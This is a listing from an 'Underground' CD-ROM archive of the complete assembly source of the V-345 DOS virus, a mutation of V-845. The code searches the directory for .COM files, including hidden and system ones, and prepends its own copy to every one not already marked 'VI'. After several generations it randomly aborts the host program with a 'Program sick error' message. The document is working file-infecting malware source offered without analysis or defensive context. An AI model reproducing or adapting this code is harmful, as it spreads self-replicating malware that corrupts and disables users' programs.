home *** CD-ROM | disk | FTP | other *** search
/ Underground / Underground CD1.iso / virii / zrodla / p / pixel345.asm < prev    next >
Encoding:
Assembly Source File  |  1998-01-14  |  3.0 KB  |  134 lines

  1.     page    ,132
  2.  
  3.     name    V345
  4.  
  5.     title    V-345 - a mutation of the V-845 virus
  6.  
  7.     .radix    16
  8.  
  9. code    segment
  10.  
  11.     assume    cs:code,ds:code
  12.  
  13.     org    100
  14.  
  15.  
  16.  
  17. timer    equ    6C
  18.  
  19. olddta    equ    80
  20.  
  21. virlen    =    offset endcode - offset start
  22.  
  23. newid    =    offset ident - offset start
  24.  
  25.  
  26.  
  27. start:
  28.  
  29.     jmp    short virus
  30.  
  31.  
  32.  
  33. ident    dw    'VI'
  34.  
  35. counter db    0
  36.  
  37. allcom    db    '*.COM',0
  38.  
  39. progbeg dd    ?
  40.  
  41. eof    dw    ?
  42.  
  43. newdta    db    2C dup (?)
  44.  
  45. fname    equ    offset newdta+1E
  46.  
  47.  
  48.  
  49. virus:
  50.  
  51.     push    ax
  52.  
  53.     mov    ax,cs        ;Move program code
  54.  
  55.     add    ax,1000     ; 64K bytes forward
  56.  
  57.     mov    es,ax
  58.  
  59.     inc    [counter]
  60.  
  61.     mov    si,offset start
  62.  
  63.     xor    di,di
  64.  
  65.     mov    cx,virlen
  66.  
  67.     rep    movsb
  68.  
  69.  
  70.  
  71.     mov    dx,offset newdta    ;Set new Disk Transfer Address
  72.  
  73.     mov    ah,1A        ;Set DTA
  74.  
  75.     int    21
  76.  
  77.     mov    dx,offset allcom    ;Search for '*.COM' files
  78.  
  79.     mov    cx,110b     ;Normal, Hidden or System
  80.  
  81.     mov    ah,4E        ;Find First file
  82.  
  83.     int    21
  84.  
  85.     jc    done        ;Quit if none found
  86.  
  87.  
  88.  
  89. mainlp:
  90.  
  91.     mov    dx,fname
  92.  
  93.     mov    ax,3D02     ;Open file in Read/Write mode
  94.  
  95.     int    21
  96.  
  97.     mov    bx,ax        ; Save handle
  98.  
  99.     push    es
  100.  
  101.     pop    ds
  102.  
  103.     mov    dx,virlen
  104.  
  105.     mov    cx,0FFFF    ;Read all bytes (64K max in .COM file)
  106.  
  107.     mov    ah,3F        ;Read from handle
  108.  
  109.     int    21        ;Bytes read in AX
  110.  
  111.     add    ax,virlen
  112.  
  113.     mov    cs:[eof],ax    ;Save pointer to the end of file
  114.  
  115.     cmp    ds:[newid+virlen],'VI'  ;Infected?
  116.  
  117.     je    close        ;Go find next file if so
  118.  
  119.  
  120.  
  121.     xor    cx,cx        ;Go to file beginning
  122.  
  123.     mov    dx,cx
  124.  
  125.     mov    ax,4200     ;LSEEK from the beginning of the file
  126.  
  127.     int    21
  128.  
  129.     jc    close        ;Leave this file if error occures
  130.  
  131.  
  132.  
  133.     xor    dx,dx        ;Write the whole code (virus+file)
  134.  
  135.     mov    cx,cs:[eof]    ; back onto the file
  136.  
  137.     mov    ah,40        ;Write to handle
  138.  
  139.     int    21
  140.  
  141.  
  142.  
  143. close:
  144.  
  145.     mov    ah,3E        ;Close the file
  146.  
  147.     int    21
  148.  
  149.  
  150.  
  151.     push    cs
  152.  
  153.     pop    ds        ;Restore DS
  154.  
  155.     mov    ah,4F        ;Find next matching file
  156.  
  157.     int    21
  158.  
  159.     jc    done        ;Exit if all found
  160.  
  161.     jmp    mainlp        ;Otherwise loop again
  162.  
  163.  
  164.  
  165. done:
  166.  
  167.     mov    dx,olddta    ;Restore old Disk Transfer Address
  168.  
  169.     mov    ah,1A        ;Set DTA
  170.  
  171.     int    21
  172.  
  173.  
  174.  
  175.     cmp    [counter],5    ;If counter goes above 5,
  176.  
  177.     jb    progok        ; the program becomes "sick"
  178.  
  179.     mov    ax,40
  180.  
  181.     mov    ds,ax        ;Get the system timer value
  182.  
  183.     mov    ax,word ptr [timer]
  184.  
  185.     push    cs
  186.  
  187.     pop    ds        ;Restore DS
  188.  
  189.     and    ax,1        ;At random (if timer value is odd)
  190.  
  191.     jz    progok        ; display the funny message
  192.  
  193.     mov    dx,offset message
  194.  
  195.     mov    ah,9        ;Print string
  196.  
  197.     int    21
  198.  
  199.     int    20        ;Terminate program
  200.  
  201.  
  202.  
  203. message db    'Program sick error:Call doctor or '
  204.  
  205.     db    'buy PIXEL for cure description',0A,0Dh,'$'
  206.  
  207.  
  208.  
  209. progok:
  210.  
  211.     mov    si,offset transf    ;Move this part of code
  212.  
  213.     mov    cx,offset endcode - offset transf    ;Code length
  214.  
  215.     xor    di,di        ;Move to ES:0
  216.  
  217.     rep    movsb        ;Do it
  218.  
  219.  
  220.  
  221.     pop    bx        ; BX = old AX
  222.  
  223.     mov    word ptr cs:[progbeg],0
  224.  
  225.     mov    word ptr cs:[progbeg+2],es    ;Point progbeg at program start
  226.  
  227.     jmp    cs:[progbeg]    ;Jump at program start
  228.  
  229.  
  230.  
  231. transf:
  232.  
  233.     push    ds
  234.  
  235.     pop    es
  236.  
  237.     mov    si,offset endcode
  238.  
  239.     mov    di,offset start
  240.  
  241.     mov    cx,0FFFF    ;Restore original program's code
  242.  
  243.     sub    cx,si
  244.  
  245.     rep    movsb
  246.  
  247.     mov    word ptr cs:[start],offset start
  248.  
  249.     mov    word ptr cs:[start+2],ds
  250.  
  251.     mov    ax,bx
  252.  
  253.     jmp    dword ptr cs:[start]    ;Jump to program start
  254.  
  255. endcode label    byte
  256.  
  257.  
  258.  
  259.     int    20        ;Dummy program
  260.  
  261.  
  262.  
  263. code    ends
  264.  
  265.     end    start
  266.  
  267.